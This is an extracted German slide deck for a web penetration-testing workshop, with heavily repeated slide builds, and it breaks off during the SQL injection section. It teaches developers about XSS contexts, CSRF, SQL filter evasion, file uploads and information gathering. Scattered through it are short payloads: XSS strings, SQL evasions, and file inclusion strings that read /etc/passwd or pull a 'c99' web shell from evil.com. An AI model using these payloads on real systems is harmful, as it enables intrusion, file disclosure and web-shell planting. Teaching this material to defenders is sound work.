SlideShare ist ein Scribd-Unternehmen logo
1 von 246
Johann-Peter Hartmann & Marco Kaiser

    Live-Hacking & Penetration Testing
Johann-Peter Hartmann
»   CTO der Mayflower GmbH
»   Entwickler und Consultant
»   Gründer SektionEins GmbH
»   Security ist Steckenpferd seit 1994




                                          2
Wer seid Ihr ?




                 3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?




                                                     3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?
» Wer kennt XSS?




                                                     3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?
» Wer kennt XSS?
» Wer kennt CSRF?




                                                     3
Wer seid Ihr ?
»   Wieviele von Euch denken security aware zu sein?
»   Wer kennt XSS?
»   Wer kennt CSRF?
»   Wer kennt SQL Injections?




                                                       3
Wer seid Ihr ?
»   Wieviele von Euch denken security aware zu sein?
»   Wer kennt XSS?
»   Wer kennt CSRF?
»   Wer kennt SQL Injections?




                                                       3
Wer seid Ihr ?
»   Wieviele von Euch denken security aware zu sein?
»   Wer kennt XSS?
»   Wer kennt CSRF?
»   Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?




                                                       3
Wer seid Ihr ?
»   Wieviele von Euch denken security aware zu sein?
»   Wer kennt XSS?
»   Wer kennt CSRF?
»   Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?




                                                       3
Wer seid Ihr ?
»   Wieviele von Euch denken security aware zu sein?
»   Wer kennt XSS?
»   Wer kennt CSRF?
»   Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

» Oh, sorry, daran haben wir nicht gedacht.




                                                       3
Agenda




         4
Agenda

» Grundlagen




               4
Agenda

» Grundlagen
» Motivation Pentesting




                          4
Agenda

» Grundlagen
» Motivation Pentesting
» Information Gathering




                          4
Agenda

» Grundlagen
» Motivation Pentesting
» Information Gathering
» Pentesting




                          4
Agenda

» Grundlagen
» Motivation Pentesting
» Information Gathering
» Pentesting
» Hands on




                          4
Grundlagen, Schutzmaßnahmen und Workarounds




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections
» Shell Execution




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections
» Shell Execution
» DoS




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections
» Shell Execution
» DoS
» File Uploads




                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections
» Shell Execution
» DoS
» File Uploads
» Local File Inclusions



                                       5
Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF
» SQL Injections
» Shell Execution
» DoS
» File Uploads
» Local File Inclusions
» Information Disclosure


                                       5
Warum noch einmal die Grundlagen?




                                    6
Warum noch einmal die Grundlagen?

» Pentesting ist
  » bekannte Lücken finden
  » fehlende Sicherheitsmaßnahmen entdecken
  » Fehler in den Sicherheitsmaßnahmen finden




                                          6
Warum noch einmal die Grundlagen?

» Pentesting ist
  » bekannte Lücken finden
  » fehlende Sicherheitsmaßnahmen entdecken
  » Fehler in den Sicherheitsmaßnahmen finden
» Proportional zur Education
  » bekannte Lücken unwahrscheinlich
  » fehlende Sicherheitsmaßnahmen selten
  » Fehler in Sicherheitsmaßnahmen oft


                                           6
Warum noch einmal die Grundlagen?

» Pentesting ist
  » bekannte Lücken finden
  » fehlende Sicherheitsmaßnahmen entdecken
  » Fehler in den Sicherheitsmaßnahmen finden
» Proportional zur Education
  » bekannte Lücken unwahrscheinlich
  » fehlende Sicherheitsmaßnahmen selten
  » Fehler in Sicherheitsmaßnahmen oft
» Es geht also um die entdeckbaren Fehler
                                           6
XSS - ein bischen Theorie




                            7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting
     » Löschen erkannter XSS




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting
     » Löschen erkannter XSS
  » Validierung




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting
     » Löschen erkannter XSS
  » Validierung
  » globales Escaping




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting
     » Löschen erkannter XSS
  » Validierung
  » globales Escaping
  » Escaping




                                     7
XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz
  » Tag-Filterung
  » Blacklisting
     » Löschen erkannter XSS
  » Validierung
  » globales Escaping
  » Escaping
» ... und warum /index.jsp?id=<script> kein
  XSS-Test ist

                                        7
Javascript wird ausgeführt in ...




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags
» Urls




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags
» Urls
» Event-Handlern




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags
» Urls
» Event-Handlern
» Style-Sheets




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags
» Urls
» Event-Handlern
» Style-Sheets

» In JavaScript selbst




                                    8
Javascript wird ausgeführt in ...

» <script>-Tags
» Urls
» Event-Handlern
» Style-Sheets

» In JavaScript selbst
» in Plugins


                                    8
XSS in Urls

» <link href=“javascript:...
» <img src=“javascript:
» <meta http-equiv=“refresh“
  content=“0;url=javascript:..
» <table background=“javascript:...
» <div style=“a:url(javascript:...)“>

» Url-Encoding schützt
» Tag-Filterung hilft nicht
                                        9
XSS in Scripts

» <script>
  var search=“mystring“;alert(1);//“
» aus dem JS-Stringkontext in den JS-
  Kontext ausbrechen
» var number=1;alert(1);

» Stringkontext: korrektes Escaping hilft
» Tag-Filterung hilft nicht

                                            10
XSS in Tags

» <input value=“12“
  onmouseover=“alert(1);“>
» Attribut-Kontext -> Event-JS-Kontext
» <a href=“index.htm“ href=“javascript:...
» Attribut-Kontext -> Url-Kontext
» <a href=“index.htm“ style=“a:expression(..“
» Attribut-Kontext -> Style-Kontext
» Escaping mit HTML-Entitäten hilft
» Tag-Filterung schützt nicht
                                         11
XSS in Style-Sheets

» Als Style-Definition:
  <style>a: expression(alert(1))</style>
» Als Style im Attribut:
  <a style=“background-color:expression(..
» Ausnutzung des URL-Kontextes: url()
» Firefox: Ausnutzung über Behaviors

» Escaping hilft bei Strings
» Tag-Filterung hilft nicht
                                       12
XSS in HTML

» <script>alert(1)</script>
» Wechsel zu Url: <a href=“javascript:...“>
» Wechsel zu Event: <a onmouseover=“...“>
» Wechsel zu Style: <a style=“a:expression..

» Tag-Filterung hilft
» Escaping in HTML-Entitäten hilft


                                        13
Codepage-basierte Kontextwechsel




                                   14
Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der
  Code-Page




                                        14
Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der
  Code-Page
» Fehlendes Multibyte-Handling kann
  Escaping boykottieren
  Beispiel: %C0“ -> %C0“




                                        14
Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der
  Code-Page
» Fehlendes Multibyte-Handling kann
  Escaping boykottieren
  Beispiel: %C0“ -> %C0“
» Die Codepage kann forciert werden
  UTF-7-Bug in den ersten 1024 Bytes:
  +ADw-script+AD4-alert(1);+ADw-/script
  +AD4+

                                      14
Fazit: Probleme bei XSS




                          15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren
  » HTML-Entititäten




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren
  » HTML-Entititäten
  » String-Enkodierung für value=““




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren
  » HTML-Entititäten
  » String-Enkodierung für value=““
  » String-Escaping für JS/CSS-Strings




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren
  » HTML-Entititäten
  » String-Enkodierung für value=““
  » String-Escaping für JS/CSS-Strings
  » URL-Enkodierung in Links




                                            15
Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle
» 4 Escaping-Verfahren
  » HTML-Entititäten
  » String-Enkodierung für value=““
  » String-Escaping für JS/CSS-Strings
  » URL-Enkodierung in Links
» Escaping hilft nicht bei Non-String-
  Injections in Javascript/Event-Kontext


                                            15
Probleme bei XSS-Blacklists




                              16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant




                                 16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig




                                            16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation




                                              16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation
     » Boykottierung des Escapings durch Interpretation




                                                   16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation
     » Boykottierung des Escapings durch Interpretation
  » Es gibt keine finale Liste dieser
    „Verbesserungen“




                                                   16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation
     » Boykottierung des Escapings durch Interpretation
  » Es gibt keine finale Liste dieser
    „Verbesserungen“
     » pro Monat wird etwa eine neue gefunden




                                                   16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation
     » Boykottierung des Escapings durch Interpretation
  » Es gibt keine finale Liste dieser
    „Verbesserungen“
     » pro Monat wird etwa eine neue gefunden
» Inhalt ist kontextabhängig


                                                   16
Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant
  » fehlerhaftes HTML ist trotzdem gültig
     » Kontext-Wechsel durch Interpretation
     » Boykottierung des Escapings durch Interpretation
  » Es gibt keine finale Liste dieser
    „Verbesserungen“
     » pro Monat wird etwa eine neue gefunden
» Inhalt ist kontextabhängig
  » der gleiche String kann je nach Ausgabeort
    neutral oder vergiftet sein

                                                   16
Probleme bei XSS-Blacklists 2




                                17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert




                                17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert
  » Attribute wie dojotype=...




                                 17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert
  » Attribute wie dojotype=...
  » URL-Moniker wie skype: oder tel:




                                       17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert
  » Attribute wie dojotype=...
  » URL-Moniker wie skype: oder tel:
  » Browser-Plugins wie Greasemonkey




                                       17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert
  » Attribute wie dojotype=...
  » URL-Moniker wie skype: oder tel:
  » Browser-Plugins wie Greasemonkey
  » JavaScript-Includes für Adserver




                                       17
Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert
  » Attribute wie dojotype=...
  » URL-Moniker wie skype: oder tel:
  » Browser-Plugins wie Greasemonkey
  » JavaScript-Includes für Adserver
» Blacklists sind immer unvollständig




                                        17
Fehlerhafte XSS-Filter

» String-Operationen als Filter
» <script>-Tags werden automatisch entfernt
» Was ist mit <scr<script>ipt> ?
» XSS Cheat Sheet
  » http://ha.ckers.org/xss.html




                                       18
Externe XSS-Vektoren




                       19
Externe XSS-Vektoren

» RSS




                       19
Externe XSS-Vektoren

» RSS
» Web-Services




                       19
Externe XSS-Vektoren

» RSS
» Web-Services
» CSV




                       19
Externe XSS-Vektoren

» RSS
» Web-Services
» CSV
» Meta-Daten von Medienfiles




                               19
Externe XSS-Vektoren

» RSS
» Web-Services
» CSV
» Meta-Daten von Medienfiles
» Papier




                               19
Externe XSS-Vektoren

» RSS
» Web-Services
» CSV
» Meta-Daten von Medienfiles
» Papier
» Logfiles



                               19
Externe XSS-Vektoren

» RSS
» Web-Services
» CSV
» Meta-Daten von Medienfiles
» Papier
» Logfiles
» Poisoning beim Spidern


                               19
Cross Site Request Forgery




                             20
Cross Site Request Forgery

» Ist wirklich kritisch: wurde vor kurzem für
  Erpressung über Domain-Transfer genutzt
» Häufigster Schutz: Token-basiert
» Ist mit einem XSS zu boykottieren
» -> bei vorhandener CSRF-Protection nach
  XSS suchen




                                         20
Schutzmaßnahmen bei SQL-Injection

» Parameter Binding
» Parameter Escaping
» Blacklisting




                                    21
Angriffe auf Parameter Binding




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken
  » Tabellen




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken
  » Tabellen
  » Spalten




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken
  » Tabellen
  » Spalten
» SQL-Syntax




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken
  » Tabellen
  » Spalten
» SQL-Syntax
  » Sortierrichtungen




                                 22
Angriffe auf Parameter Binding

» Namen aus externen Quellen
  » Datenbanken
  » Tabellen
  » Spalten
» SQL-Syntax
  » Sortierrichtungen
  » Operationen




                                 22
Parameter Escaping




                     23
Parameter Escaping

» Multi-Byte-Attacken




                        23
Parameter Escaping

» Multi-Byte-Attacken
  » analog zu Escaping-Multibyte-Attacken




                                            23
Parameter Escaping

» Multi-Byte-Attacken
  » analog zu Escaping-Multibyte-Attacken
  » alte Datenbank-Versionen




                                            23
Parameter Escaping

» Multi-Byte-Attacken
  » analog zu Escaping-Multibyte-Attacken
  » alte Datenbank-Versionen
  » seltsame Codepages




                                            23
Parameter Escaping

» Multi-Byte-Attacken
  » analog zu Escaping-Multibyte-Attacken
  » alte Datenbank-Versionen
  » seltsame Codepages
» Fehlendes Escaping von Bezeichnern




                                            23
Parameter Escaping

» Multi-Byte-Attacken
  » analog zu Escaping-Multibyte-Attacken
  » alte Datenbank-Versionen
  » seltsame Codepages
» Fehlendes Escaping von Bezeichnern
» Fehlendes Whitelisting von SQL-Syntax




                                            23
SQL Blacklisting Evasions




                            24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions




                                24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions
  » mehrzeilige Comments: /* */




                                  24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions
  » mehrzeilige Comments: /* */
  » einzeilige Comments: -- ,#




                                  24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions
  » mehrzeilige Comments: /* */
  » einzeilige Comments: -- ,#
  » können innerhalb von Statements genutzt
    werden: u/**/nion




                                          24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions
  » mehrzeilige Comments: /* */
  » einzeilige Comments: -- ,#
  » können innerhalb von Statements genutzt
    werden: u/**/nion
» Umgehen von Escaping mit Funktionen




                                          24
SQL Blacklisting Evasions

» SQL Comment Filter Evasions
  » mehrzeilige Comments: /* */
  » einzeilige Comments: -- ,#
  » können innerhalb von Statements genutzt
    werden: u/**/nion
» Umgehen von Escaping mit Funktionen
  » char(65) an Stelle von ‘a‘




                                          24
Code / OS Level Executions




                             25
Code / OS Level Executions

» Shell Kommando Escaping
» Standardlösung: Escape von
  “#&;}{|*?`<>^()[]
» Umgehen mit Multibyte-Attacken
» Beispiel: PHP und GBK
» UTF-8: (von Shell abhängig, to be done)




                                       25
Denial of Service




                    26
Denial of Service

» Schutzmaßnahmen




                    26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider




                               26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver




                               26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS




                               26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS
     » Throttling, mod_bandwidth




                                   26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS
     » Throttling, mod_bandwidth
  » Applikationsbasiert




                                   26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS
     » Throttling, mod_bandwidth
  » Applikationsbasiert
     » z.B. Auto-Logout oder IP-Ban




                                      26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS
     » Throttling, mod_bandwidth
  » Applikationsbasiert
     » z.B. Auto-Logout oder IP-Ban
» Evasion über teure Operationen


                                      26
Denial of Service

» Schutzmaßnahmen
  » Infrastruktur / Provider
  » Webserver
     » IDS
     » Throttling, mod_bandwidth
  » Applikationsbasiert
     » z.B. Auto-Logout oder IP-Ban
» Evasion über teure Operationen
  » z.B. Registration, FriendOfAFriend, Suchen
    mit Rechteprüfung
                                            26
File Uploads




               27
File Uploads

» Gefahr von XSS, Code Executions,
  Content Manipulation




                                     27
File Uploads

» Gefahr von XSS, Code Executions,
  Content Manipulation
» Abwehr: Virtualisierung der Ablage,
  Virenchecks




                                        27
File Uploads

» Gefahr von XSS, Code Executions,
  Content Manipulation
» Abwehr: Virtualisierung der Ablage,
  Virenchecks
» Umgehung
  » Flash-Security: einschmuggeln einer
    crossdomain.xml-Alternative
  » Zip Bombs
  » Microsofts Filetyperkennung

                                          27
Local File Inclusions

» include “const“.$_GET[‘bla‘].“const“;
  » ?bla=/../../etc/passwd%00
  » ?bla=/../../var/log/apache/access_log
  » ?bla=/../../var/log/vsftp.log%00
» include $_GET[‘bla‘] . “const“;
  » ?bla=data://text/plain;base64,P...
  » ?bla=php://filter/resource=http://evil.com/
    c99.txt


                                                  28
Information Disclosure

» Geschützt durch korrekte
  (Fehler-)Ausgaben
» Umgehung
  » Timing-Attacken (Login: Username existent?)
  » Artifakte
  » Content-Disclosure Fehler




                                           29
Motivation Pentesting für Entwickler




                                       30
Motivation Pentesting für Entwickler

» Know your enemy




                                       30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security




                                         30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse




                                         30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse
  » offensichtliche Probleme werden gefunden




                                           30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse
  » offensichtliche Probleme werden gefunden
  » „Oberkante“ des Eigenrisikos wird gefunden




                                           30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse
  » offensichtliche Probleme werden gefunden
  » „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness




                                           30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse
  » offensichtliche Probleme werden gefunden
  » „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness
» Security ist komplex


                                           30
Motivation Pentesting für Entwickler

» Know your enemy
» Der Entwickler ist der Hebel für Security
» Risikoanalyse
  » offensichtliche Probleme werden gefunden
  » „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness
» Security ist komplex
  » Ohne Verständnis der Angreiferseite sind
    manche Abwehrmaßnahmen nicht möglich

                                           30
Information Gathering




                        31
Information Gathering

» Infrastruktur




                        31
Information Gathering

» Infrastruktur
» Host




                        31
Information Gathering

» Infrastruktur
» Host
» Webserver




                        31
Information Gathering

» Infrastruktur
» Host
» Webserver
» Webapplikationen




                        31
Information Gathering - Infrastruktur




                                        32
Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock
  » Sind andere Server in der Nähe, zum Beispiel
    SQL-Server?
  » Staging-Server?




                                           32
Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock
  » Sind andere Server in der Nähe, zum Beispiel
    SQL-Server?
  » Staging-Server?
» Tools
  » whois, Nmap, BSI OSS Security Suite, fierce




                                           32
Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock
  » Sind andere Server in der Nähe, zum Beispiel
    SQL-Server?
  » Staging-Server?
» Tools
  » whois, Nmap, BSI OSS Security Suite, fierce
» Fehler in der Infrastruktur
  » offenen Zone-Listen im DNS, offene
    Datenbank-Server etc

                                           32
Information Gathering Host




                             33
Information Gathering Host

» Nmap: offene Ports, welche Services




                                        33
Information Gathering Host

» Nmap: offene Ports, welche Services
» Banner: Welche Versionen?




                                        33
Information Gathering Host

» Nmap: offene Ports, welche Services
» Banner: Welche Versionen?
» HTTPrint




                                        33
Information Gathering Host

» Nmap: offene Ports, welche Services
» Banner: Welche Versionen?
» HTTPrint
» Andere Domains auf der gleichen IP
  http://myipneighbors.com




                                        33
Information Gathering Webserver




                                  34
Information Gathering Webserver

» Google Dorks




                                  34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php




                                            34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php
  » Goolag Scanner von Cult of the Dead Cow




                                          34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php
  » Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner




                                          34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php
  » Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner
  » OpenSource Perl Scanner mit grosser Library




                                           34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php
  » Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner
  » OpenSource Perl Scanner mit grosser Library
» http://www.netcraft.co.uk/




                                           34
Information Gathering Webserver

» Google Dorks
  » http://johnny.ihackstuff.com/ghdb.php
  » Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner
  » OpenSource Perl Scanner mit grosser Library
» http://www.netcraft.co.uk/
» FoundStone SuperScan



                                           34
Lifedemo

» myipneighbors.com
» Wikto
» Goolag Scanner




                      35
Zielhost: Artifakte




                      36
Zielhost: Artifakte

» Transparente Endungen und Artifakte
   » config.ini
   » config.ini~
   » config.ini.bak
   » config.ini.tmp
   » config.old
   » config.orig



                                 36
Zielhost: Artifakte

» Transparente Endungen und Artifakte
   » config.ini
   » config.ini~
   » config.ini.bak
   » config.ini.tmp
   » config.old
   » config.orig
» Beispiel: Artifakte von SCM:
  http://omniti.com/.svn/entries
                                   36
Parameter Manipulation




                         37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies




                                       37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen




                                       37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen
  » User-Agent




                                       37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen
  » User-Agent
  » DNS, Hostname vom Client




                                       37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen
  » User-Agent
  » DNS, Hostname vom Client
  » Bei Default-Domain: HTTP Host-Header




                                           37
Parameter Manipulation

» Bekannte Manipulationen:
  Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen
  » User-Agent
  » DNS, Hostname vom Client
  » Bei Default-Domain: HTTP Host-Header
  » Accept-Header: Language, Encoding




                                           37
Pentesting Webapplikationen




                              38
Pentesting Webapplikationen

» Tools




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting
» CSRF Pentesting




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting
» CSRF Pentesting
» SQL




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting
» CSRF Pentesting
» SQL
  » SQL Injection




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting
» CSRF Pentesting
» SQL
  » SQL Injection
  » Blind SQL Injection




                              38
Pentesting Webapplikationen

» Tools
» XSS Pentesting
» CSRF Pentesting
» SQL
  » SQL Injection
  » Blind SQL Injection
» Information Disclosure


                              38
Tools zum manuellen Pentesten




                                39
Tools zum manuellen Pentesten

» Browser: Firefox




                                39
Tools zum manuellen Pentesten

» Browser: Firefox
» Firefox Plugins




                                39
Tools zum manuellen Pentesten

» Browser: Firefox
» Firefox Plugins
  » Tamper Data




                                39
Tools zum manuellen Pentesten

» Browser: Firefox
» Firefox Plugins
  » Tamper Data
  » Hackbar




                                39
Tools zum manuellen Pentesten

» Browser: Firefox
» Firefox Plugins
  » Tamper Data
  » Hackbar
  » Firebug




                                39
Tools zum manuellen Pentesten

» Browser: Firefox
» Firefox Plugins
  » Tamper Data
  » Hackbar
  » Firebug
» Greasemonkey XSS Assistant




                                39
XSS Pentest




              40
XSS Pentest

» Typ 0 XSS
  Einfache Prüfung:
  wird im JavaScript der Seite
  location.search oder
  document.location verwendet?




                                 40
XSS Pentest

» Typ 0 XSS
  Einfache Prüfung:
  wird im JavaScript der Seite
  location.search oder
  document.location verwendet?
» Wird die Seite mit diesem String
  manipuliert?



                                     40
XSS Pentest

» Typ 0 XSS
  Einfache Prüfung:
  wird im JavaScript der Seite
  location.search oder
  document.location verwendet?
» Wird die Seite mit diesem String
  manipuliert?
» Typisches Beispiel: Frames und Iframes


                                      40
XSS Pentest




              41
XSS Pentest

» Typ 1 / Typ 2 XSS
  Alle Formularfelder oder GET-Variablen
  mit einer Signatur absenden und prüfen,
  ob sie nach dem Submit wieder auftritt




                                       41
XSS Pentest

» Typ 1 / Typ 2 XSS
  Alle Formularfelder oder GET-Variablen
  mit einer Signatur absenden und prüfen,
  ob sie nach dem Submit wieder auftritt
» Anhand des Auftrittsortes eine passende
  XSS-Payload konstruieren




                                       41
XSS Pentest

» Typ 1 / Typ 2 XSS
  Alle Formularfelder oder GET-Variablen
  mit einer Signatur absenden und prüfen,
  ob sie nach dem Submit wieder auftritt
» Anhand des Auftrittsortes eine passende
  XSS-Payload konstruieren
» Falls ein Filter greift Filter-Evasions aus
  dem XSS-Cheat-Sheet verwenden


                                          41
CSRF Pentesting




                  42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja
  » Ist der Token vorhersehbar?




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja
  » Ist der Token vorhersehbar?
  » wird der Token überprüft?




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja
  » Ist der Token vorhersehbar?
  » wird der Token überprüft?
» Falls nein




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja
  » Ist der Token vorhersehbar?
  » wird der Token überprüft?
» Falls nein
  » existiert ein Referer-Check?




                                        42
CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?
» Falls ja
  » Ist der Token vorhersehbar?
  » wird der Token überprüft?
» Falls nein
  » existiert ein Referer-Check?
» Prüfung auf XSS und Flash-Angriffe, um
  das Token auszulesen

                                        42
SQL Injection Pentesting




                           43
SQL Injection Pentesting

» Parametermanipulation




                           43
SQL Injection Pentesting

» Parametermanipulation
  » Test mit Escape-Parametern und
    Sonderzeichen




                                     43
SQL Injection Pentesting

» Parametermanipulation
  » Test mit Escape-Parametern und
    Sonderzeichen
  » Lassen sich Fehlermeldungen provozieren?




                                         43
SQL Injection Pentesting

» Parametermanipulation
  » Test mit Escape-Parametern und
    Sonderzeichen
  » Lassen sich Fehlermeldungen provozieren?
  » Ändert sich etwas an den dargestellten
    Werten?




                                         43
SQL Injection Pentesting




                           44
SQL Injection Pentesting

» Rekonstruktion der Query




                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?




                                           44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler




                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch




                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch
     » Klammern-Tests




                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch
     » Klammern-Tests
  » Feldzahl und -namen Erkennung mit Union




                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch
     » Klammern-Tests
